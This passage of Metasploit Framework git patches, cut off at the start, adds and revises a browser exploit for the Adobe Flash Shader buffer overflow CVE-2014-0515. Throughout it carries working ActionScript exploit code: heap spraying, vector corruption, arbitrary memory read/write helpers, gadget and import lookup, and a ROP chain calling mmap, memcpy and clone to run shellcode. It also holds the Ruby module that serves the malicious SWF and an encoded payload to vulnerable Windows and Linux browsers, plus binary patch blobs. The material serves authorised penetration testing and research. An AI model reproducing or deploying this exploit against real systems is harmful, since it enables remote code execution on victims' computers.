+ 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph.as b/external/source/exploits/CVE-2014-0515/Graph.as deleted file mode 100755 index ab64eb90cd..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph.as +++ /dev/null @@ -1,411 +0,0 @@ -//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf -package { - import flash.display.Sprite; - import flash.utils.ByteArray; - import flash.display.Shader; - import flash.system.Capabilities; - import flash.net.FileReference; - import flash.utils.Endian; - import __AS3__.vec.Vector; - import __AS3__.vec.*; - import flash.display.LoaderInfo; - - public class Graph extends Sprite { - - static var counter:uint = 0; - - protected var Shad:Class; - var shellcode_byte_array:ByteArray; - var aaab:ByteArray; - var shellcodeObj:Array; - - public function Graph(){ - var tweaked_vector:* = undefined; - var tweaked_vector_address:* = undefined; - var shader:Shader; - var flash_memory_protect:Array; - var code_vectors:Array; - var address_code_vector:uint; - var address_shellcode_byte_array:uint; - this.Shad = Graph_Shad; - super(); - shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); - var i:* = 0; - var j:* = 0; - - // Just one try - counter++; - if (counter > 1) - { - return; - }; - - // Memory massage - var array_length:uint = 0x10000; - var vector_size:uint = 34; - var array:Array = new Array(); - i = 0; - while (i < array_length) - { - array[i] = new Vector.(1); - i++; - }; - i = 0; - while (i < array_length) - { - array[i] = new Vector.(vector_size); - i++; - }; - i = 0; - while (i < array_length) - { - array[i].length = 0; - i++; - }; - i = 0x0200; - while (i < array_length) - { - array[(i - (2 * (j % 2)))].length = 0x0100; - i = (i + 28); - j++; - }; - - // Overflow and Search for corrupted vector - var corrupted_vector_idx:uint; - var shadba:ByteArray = (new this.Shad() as ByteArray); - shadba.position = 232; - if (Capabilities.os.indexOf("Windows 8") >= 0) - { - shadba.writeUnsignedInt(2472); - }; - shadba.position = 0; - while (1) - { - shader = new Shader(); - try - { - shader.byteCode = (new this.Shad() as ByteArray); - } catch(e) - { - }; - i = 0; - while (i < array_length) - { - if (array[i].length > 0x0100) - { - corrupted_vector_idx = i; - break; - }; - i++; - }; - if (i != array_length) - { - if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; - }; - array.push(new Vector.(vector_size)); - }; - - // Tweak the vector following the corrupted one - array[corrupted_vector_idx][vector_size] = 0x40000001; - tweaked_vector = array[(corrupted_vector_idx + 1)]; - - // repair the corrupted vector by restoring its - // vector object pointer and length - var vector_obj_addr:* = tweaked_vector[0x3fffffff]; - tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; - tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; - i = 0; - var val:uint; - while (true) - { - val = tweaked_vector[(0x40000000 - i)]; - if (val == 0x90001B) break; - i++; - }; - tweaked_vector_address = 0; - if (tweaked_vector[((0x40000000 - i) - 4)] > 0) - { - tweaked_vector[4] = 0x41414141; - tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); - }; - - // More memory massage, fill an array of FileReference objects - var file_reference_array:Array = new Array(); - i = 0; - while (i < 64) - { - file_reference_array[i] = new FileReference(); - i++; - }; - - var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); - var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); - var do_it:Boolean = true; - var memory_protect_ptr:uint; - var aaaq:uint; - if (do_it) - { - flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); - memory_protect_ptr = flash_memory_protect[0]; - aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment - code_vectors = this.createCodeVectors(0x45454545, 0x90909090); - address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); - this.fillCodeVectors(code_vectors); - tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call - tweaked_vector[4] = aaaq; - tweaked_vector[0] = 0x1000; // Length - tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address - - // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); - - // 1) Set memory as executable - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // 2) Execute shellcode - tweaked_vector[7] = address_code_vector; - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // Restore FileReference cancel function pointer - // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); - }; - } - - // returns the integer at memory address - // vector: vector with tweaked length - // vector_address: vector's memory address - // address: memory address to read - function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ - if (address >= vector_address) - { - return (vector[((address - vector_address) / 4)]); - }; - return (vector[(0x40000000 - ((vector_address - address) / 4))]); - } - - function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ - if (address >= vector_address) - { - vector[((address - vector_address) / 4)] = value; - } else - { - vector[(0x40000000 - ((vector_address - address) / 4))] = value; - }; - } - - function findFlashMemoryProtect(vector:*, vector_address:*):Array{ - var content:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - var index:uint; - var memory_protect_ptr:uint; - var _local_6:uint; - if (allocation >= vector_address) - { - index = ((allocation - vector_address) / 4); - } else - { - index = (0x40000000 - ((vector_address - allocation) / 4)); - }; - - //push 1 ; 6a 01 - //push dword ptr [eax-8] ; ff 70 f8 - //push dword ptr [eax-4] ; ff 70 fc - //call sub_1059DD00 // Will do VirtualProtect - var offset:uint; - while (1) - { - index--; - content = vector[index]; - if (content == 0xfff870ff) - { - offset = 2; - break; - }; - if (content == 0xf870ff01) - { - offset = 1; - break; - }; - if (content == 0x70ff016a) - { - content = vector[(index + 1)]; - if (content == 0xfc70fff8) - { - offset = 0; - break; - }; - } else - { - if (content == 0x70fff870) - { - offset = 3; - break; - }; - }; - }; - - memory_protect_ptr = ((vector_address + (4 * index)) - offset); - index--; - var content_before:uint = vector[index]; - - if (content_before == 0x16a0424) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x6a042444) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x424448b) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0xff016a04) - { - return ([memory_protect_ptr, _local_6]); - }; - _local_6 = (memory_protect_ptr - 6); - - while (1) - { - index--; - content = vector[index]; - if (content == 0x850ff50) - { - if (uint(vector[(index + 1)]) == 0x5e0cc483) - { - offset = 0; - break; - }; - }; - content = (content & 0xFFFFFF00); - if (content == 0x50FF5000) - { - if (uint(vector[(index + 1)]) == 0xcc48308) - { - offset = 1; - break; - }; - }; - content = (content & 0xFFFF0000); - if (content == 0xFF500000) - { - if (uint(vector[(index + 1)]) == 0xc4830850) - { - if (uint(vector[(index + 2)]) == 0xc35d5e0c) - { - offset = 2; - break; - }; - }; - }; - content = (content & 0xFF000000); - if (content == 0x50000000) - { - if (uint(vector[(index + 1)]) == 0x830850ff) - { - if (uint(vector[(index + 2)]) == 0x5d5e0cc4) - { - offset = 3; - break; - }; - }; - }; - }; - memory_protect_ptr = ((vector_address + (4 * index)) + offset); - return ([memory_protect_ptr, _local_6]); - } - - // vector: vector with tweaked length - // address: memory address of vector data - function find_file_ref_vtable(vector:*, address:*):uint{ - var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); - - // Find an allocation of size 0x2a0 - var allocation_size:uint; - while (true) - { - allocation_size = this.read_memory(vector, address, (allocation + 8)); - if (allocation_size == 0x2a0) break; - if (allocation_size < 0x2a0) - { - allocation = (allocation + 0x24); // next allocation - } else - { - allocation = (allocation - 0x24); // prior allocation - }; - }; - var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; - if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; - allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); - }; - return (allocation_contents); - } - - // Returns pointer to the nops in one of the allocated code vectors - function findCodeVector(vector:*, vector_address:*, mark:*):uint{ - var allocation_size:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - while (true) - { - allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); - if (allocation_size == 0x7f0) break; // Code Vector found - allocation = (allocation + 0x24); // next allocation - }; - - // allocation contents should be the vector code, search for the mark 0x45454545 - var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; - allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation - }; - return ((allocation_contents + 0x2c)); - } - - // create 8 vectors of size 0x7f0 inside an array to place shellcode - function createCodeVectors(mark:uint, nops:uint){ - var code_vectors_array:Array = new Array(); - var i:* = 0; - while (i < 8) - { - code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) - code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 - code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 - i++; - }; - return (code_vectors_array); - } - - - // Fill with the code vectors with the shellcode - function fillCodeVectors(array_code_vectors:Array) { - var i:uint = 0; - var sh:uint=1; - - while(i < array_code_vectors.length) - { - for(var u:String in shellcodeObj) - { - array_code_vectors[i][sh++] = Number(shellcodeObj[u]); - } - i++; - sh = 1; - } - } - } -}//package diff --git a/external/source/exploits/CVE-2014-0515/GraphShadLinux.as b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as new file mode 100755 index 0000000000..2593201484 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_linux", mimeType="application/octet-stream")] + public class GraphShadLinux extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/GraphShadWindows.as b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as new file mode 100755 index 0000000000..e4f5f20453 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_windows", mimeType="application/octet-stream")] + public class GraphShadWindows extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph_Shad.as b/external/source/exploits/CVE-2014-0515/Graph_Shad.as deleted file mode 100755 index c0e84dff5d..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph_Shad.as +++ /dev/null @@ -1,10 +0,0 @@ -package -{ - import mx.core.ByteArrayAsset; - - [Embed(source="binary_data", mimeType="application/octet-stream")] - public class Graph_Shad extends ByteArrayAsset - { - - } -} \ No newline at end of file diff --git a/external/source/exploits/CVE-2014-0515/Logger.as b/external/source/exploits/CVE-2014-0515/Logger.as new file mode 100755 index 0000000000..61ec768c25 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 1 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/PE.as b/external/source/exploits/CVE-2014-0515/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/binary_data_linux b/external/source/exploits/CVE-2014-0515/binary_data_linux new file mode 100755 index 0000000000000000000000000000000000000000..27a7ca7f9dff7ee5685f065e1bd6cb51fecbde39 GIT binary patch literal 2425 zcmeH}L5tH+5Xb+?OHi?{R0*}(I zdKb^4yRwKMN7)ac|9N@ET2Z{nUivQ6nfK<+%rC>6zHtD&K8IeuUzEvcls?tdMwV>r zVkhbAMRW9cKf0&OJdN(?;z^q64AaK0&IaQgn4aC$d6AAYIJ6FQ(a+PJQuKw3qm5xY zDs_$n#|0V>?@r3zc$^QYGYhw1Y|NbPG`pXSCK{azq9%K_+Is=C6%HMmUA&E51aau% zNFl&Ag>TdmIyh0dgxQ&a9ww7fS-WmcS>*ZWbnJF}T(`KkxVl{bqHoe&!mi|s!)f%v z4fda`m0WQ+jXs$D@}iq}`W3t)@8iJr99$R_B|`B1MTM4&>NX;g@ux39OQGr%<$KEb z!^`U(%IIb-1F?r5JjJ3yA1AK2s0ZWIH zLzKe9#i4MBKG!?~ldtf2@NPqRe5~t?I<*YM{#PE>&z_I0zwvANs7xFmvBV*drsZKc z2p^yIt@}7$<{_Nc)DjP#SHiw0G%YW~QFzOFax{Eg!#ltgh0DUZw)6Y^ zv|kkaRrUj?I!AX^5!)X}eBBT2Ht&fge}2b!&RKpgeqX8kw|YEVkCAmf^M3FoKid!g KEC1!cC_ezeoEjMb literal 0 HcmV?d00001 diff --git a/external/source/exploits/CVE-2014-0515/binary_data b/external/source/exploits/CVE-2014-0515/binary_data_windows similarity index 100% rename from external/source/exploits/CVE-2014-0515/binary_data rename to external/source/exploits/CVE-2014-0515/binary_data_windows diff --git a/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb new file mode 100644 index 0000000000..7265fba575 --- /dev/null +++ b/modules/exploits/multi/browser/adobe_flash_pixel_bender_bof.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Adobe Flash Player Shader Buffer Overflow', + 'Description' => %q{ + This module exploits a buffer overflow vulnerability in Adobe Flash Player. The + vulnerability occurs in the flash.Display.Shader class, when setting specially + crafted data as its bytecode, as exploited in the wild in April 2014. This module + has been tested successfully on: + * Windows 7 SP1, IE 8 to IE 11 with Flash 13.0.0.182. + * Windows 7 SP1, Firefox 38.0.5, Flash 11.7.700.275 and Adobe Flash 13.0.0.182 + * Windows 8.1, Firefox 38.0.5 and Adobe Flash 13.0.0.182. + * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.350 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'juan vazquez' # msf module + ], + 'References' => + [ + ['CVE', '2014-0515'], + ['BID', '67092'], + ['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'], + ['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'], + ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ] + ], + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['win', 'linux'], + 'Arch' => [ARCH_X86], + 'BrowserRequirements' => + { + :source => /script|headers/i, + :arch => ARCH_X86, + :os_name => lambda do |os| + os =~ OperatingSystems::Match::LINUX || + os =~ OperatingSystems::Match::WINDOWS_7 || + os =~ OperatingSystems::Match::WINDOWS_81 + end, + :ua_name => lambda do |ua| + case target.name + when 'Windows' + return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF + when 'Linux' + return true if ua == Msf::HttpClients::FF + end + + false + end, + :flash => lambda do |ver| + case target.name + when 'Windows' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.7.700.275') + return true if ver =~ /^12\./ + return true if ver =~ /^13\./ && Gem::Version.new(ver) <= Gem::Version.new('13.0.0.182') + when 'Linux' + return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.350') + end + + false + end + }, + 'Targets' => + [ + [ 'Windows', + { + 'Platform' => 'win' + } + ], + [ 'Linux', + { + 'Platform' => 'linux' + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Apr 28 2014', + 'DefaultTarget' => 0)) + end + + def exploit + @swf = create_swf + super + end + + def on_request_exploit(cli, request, target_info) + print_status("Request: #{request.uri}") + + if request.uri =~ /\.swf$/ + print_status('Sending SWF...') + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) + return + end + + print_status('Sending HTML...') + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) + end + + def exploit_template(cli, target_info) + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + + if target.name =~ /Windows/ + platform_id = 'win' + elsif target.name =~ /Linux/ + platform_id = 'linux' + end + + html_template = %Q| + + + + + + + + + + + | + + return html_template, binding() + end + + def create_swf + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' ) + swf = ::File.open(path, 'rb') { |f| swf = f.read } + + swf + end + +end diff --git a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb index 4e54893877..48b2268ad1 100644 --- a/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb +++ b/modules/exploits/windows/browser/adobe_flash_pixel_bender_bof.rb @@ -9,10 +9,13 @@ class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Module::Deprecated + + deprecated(Date.new(2015, 8, 11), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf') def initialize(info={}) super(update_info(info, - 'Name' => "Adobe Flash Player Shader Buffer Overflow", + 'Name' => 'Adobe Flash Player Shader Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in Adobe Flash Player. The vulnerability occurs in the flash.Display.Shader class, when setting specially @@ -36,16 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 2000, - 'DisableNops' => true, - 'PrependEncoder' => stack_adjust - }, - 'DefaultOptions' => - { - # Disabled by default to allow sessions on Firefox, still useful when exploiting IE - #'InitialAutoRunScript' => 'migrate -f', - 'Retries' => false, - 'EXITFUNC' => "thread" + 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => @@ -60,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Automatic', {} ] ], 'Privileged' => false, - 'DisclosureDate' => "Apr 28 2014", + 'DisclosureDate' => 'Apr 28 2014', 'DefaultTarget' => 0)) end @@ -69,48 +63,34 @@ class Metasploit3 < Msf::Exploit::Remote super end - def stack_adjust - adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb - adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit - adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit - adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset - - adjust - end - def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ - print_status("Sending SWF...") + print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end - print_status("Sending HTML...") - tag = retrieve_tag(cli, request) - profile = get_profile(tag) - profile[:tried] = false unless profile.nil? # to allow request the swf + print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - flash_payload = "" - get_payload(cli,target_info).unpack("V*").each do |i| - flash_payload << "0x#{i.to_s(16)}," - end - flash_payload.gsub!(/,$/, "") - + target_payload = get_payload(cli, target_info) + b64_payload = Rex::Text.encode_base64(target_payload) + os_name = target_info[:os_name] + platform_id = 'win' html_template = %Q| - + - + @@ -120,7 +100,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_swf - path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0515", "Graph.swf" ) + path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf From 72672fc8f76c741b261d808bfd0826b9f6468959 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 11 Jun 2015 17:39:36 -0500 Subject: [PATCH 0397/1013] Delete debug --- data/exploits/CVE-2014-0515/msf.swf | Bin 21561 -> 21426 bytes .../source/exploits/CVE-2014-0515/Exploit.as | 33 +++++++----------- .../source/exploits/CVE-2014-0515/Logger.as | 2 +- 3 files changed, 13 insertions(+), 22 deletions(-) diff --git a/data/exploits/CVE-2014-0515/msf.swf b/data/exploits/CVE-2014-0515/msf.swf index 06505fbe4baf63c80bb00ff2d8675c02f1111274..f3365d8d43d889270dca80abe8672e4eecf41414 100644 GIT binary patch delta 21312 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 